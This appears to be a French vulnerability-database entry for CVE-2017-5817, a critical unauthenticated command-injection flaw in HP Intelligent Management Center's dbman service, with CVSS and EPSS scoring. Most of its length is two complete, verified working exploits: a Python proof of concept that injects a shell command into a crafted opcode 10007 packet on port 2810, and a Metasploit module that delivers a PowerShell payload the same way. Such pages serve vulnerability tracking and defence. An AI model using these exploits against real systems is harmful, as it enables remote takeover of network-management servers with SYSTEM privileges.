Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-20 |
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V3.0 |
9.8 |
CRITICAL |
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 43195
Date de publication : 2017-11-27 23h00 +00:00
Auteur : Chris Lyne
EDB Vérifié : Yes
#!/opt/local/bin/python2.7
# Exploit Title: HP iMC Plat 7.2 dbman Opcode 10007 Command Injection RCE
# Date: 11-28-2017
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: www.hpe.com
# Software Link: https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=
# Version: iMC PLAT v7.2 (E0403) Standard
# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2017-5817
# See Also: http://www.zerodayinitiative.com/advisories/ZDI-17-341/
# note that this PoC will create a file 'C:\poc.txt'
import socket, sys
ip = '192.168.1.74'
port = 2810
command = "echo PoC 12345 > C:\\poc.txt" # command to run
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
buf = "\x00\x00\x27\x17\x00\x00\x00"
buf += chr(109 + 10 + len(command))
buf += "\x30\x81"
buf += chr(109 + 7 + len(command))
buf += "\x04\x0c"
buf += ip
buf += ("\x04\x04\x41\x41\x41\x41\x04"
"\x04\x42\x42\x42\x42\x04\x04\x43\x43\x43\x43\x02\x01\x01\x02\x01"
"\x03\x04\x06\x4d\x41\x4e\x55\x41\x4c\x04\x04\x44\x44\x44\x44\x04")
buf += chr(len(command) + 7)
buf += "\x73\x61\x22\x26\x20"
buf += command
buf += ("\x20\x26\x04\x08\x70\x61\x73\x73\x77\x6f\x72\x64\x04"
"\x04\x00\x00\x04\x57\x04\x08\x69\x6e\x73\x74\x61\x6e\x63\x65\x04"
"\x04\x45\x45\x45\x45\x04\x04\x46\x46\x46\x46\x04\x04\x47\x47\x47"
"\x47\x04\x04\x48\x48\x48\x48\x30\x00\x02\x01\x01")
sock.send(buf)
sock.close()
Exploit Database EDB-ID : 43492
Date de publication : 2018-01-09 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'HPE iMC dbman RestoreDBase Unauthenticated RCE',
'Description' => %q{
This module exploits a remote command execution vulnerablity in
Hewlett Packard Enterprise Intelligent Management Center before
version 7.3 E0504P04.
The dbman service allows unauthenticated remote users to restore
a user-specified database (OpCode 10007), however the database
connection username is not sanitized resulting in command injection,
allowing execution of arbitrary operating system commands as SYSTEM.
This service listens on TCP port 2810 by default.
This module has been tested successfully on iMC PLAT v7.2 (E0403)
on Windows 7 SP1 (EN).
},
'License' => MSF_LICENSE,
'Author' =>
[
'sztivi', # Discovery
'Chris Lyne', # Python PoC (@lynerc)
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['CVE', '2017-5817'],
['EDB', '43195'],
['ZDI', '17-341'],
['URL', 'https://www.securityfocus.com/bid/98469/info'],
['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us']
],
'Platform' => 'win',
'Targets' => [['Automatic', {}]],
'Payload' => { 'BadChars' => "\x00" },
'DefaultOptions' => { 'WfsDelay' => 15 },
'Privileged' => true,
'DisclosureDate' => 'May 15 2017',
'DefaultTarget' => 0))
register_options [Opt::RPORT(2810)]
end
def check
# empty RestoreDBase packet
pkt = [10007].pack('N')
connect
sock.put pkt
res = sock.get_once
disconnect
# Expected reply:
# "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log"
return CheckCode::Detected if res =~ /dbman/i
CheckCode::Safe
end
def dbman_msg(database_user)
data = ''
db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}"
database_type = "\x03" # MySQL
restore_type = 'MANUAL'
database_password = rand_text_alpha rand(1..5)
database_port = rand_text_alpha rand(1..5)
database_instance = rand_text_alpha rand(1..5)
junk = rand_text_alpha rand(1..5)
# database ip
data << "\x04"
data << [db_ip.length].pack('C')
data << db_ip
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# junk
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x02\x01\x01"
# database type
data << "\x02"
data << [database_type.length].pack('C')
data << database_type
# restore type
data << "\x04"
data << [restore_type.length].pack('C')
data << restore_type
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# database user
data << "\x04"
data << "\x82"
data << [database_user.length].pack('n')
data << database_user
# database password
data << "\x04"
data << [database_password.length].pack('C')
data << database_password
# database port
data << "\x04"
data << [database_port.length].pack('C')
data << database_port
# database instance
data << "\x04"
data << [database_instance.length].pack('C')
data << database_instance
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x30\x00"
data << "\x02\x01\x01"
data
end
def dbman_restoredbase_pkt(database_user)
data = dbman_msg database_user
# opcode 10007 (RestoreDBase)
pkt = [10007].pack('N')
# packet length
pkt << "\x00\x00"
pkt << [data.length + 4].pack('n')
# packet data length
pkt << "\x30\x82"
pkt << [data.length].pack('n')
# packet data
pkt << data
pkt
end
def execute_command(cmd, _opts = {})
connect
sock.put dbman_restoredbase_pkt "\"& #{cmd} &"
disconnect
end
def exploit
command = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true, :encode_final_payload => true }
)
if command.length > 8000
fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command"
end
print_status "Sending payload (#{command.length} bytes)..."
execute_command command
end
end
Products Mentioned
Configuraton 0
Hp>>Intelligent_management_center >> Version To (excluding) 7.3
Hp>>Intelligent_management_center >> Version 7.3
Hp>>Intelligent_management_center >> Version 7.3
Hp>>Intelligent_management_center >> Version 7.3
Références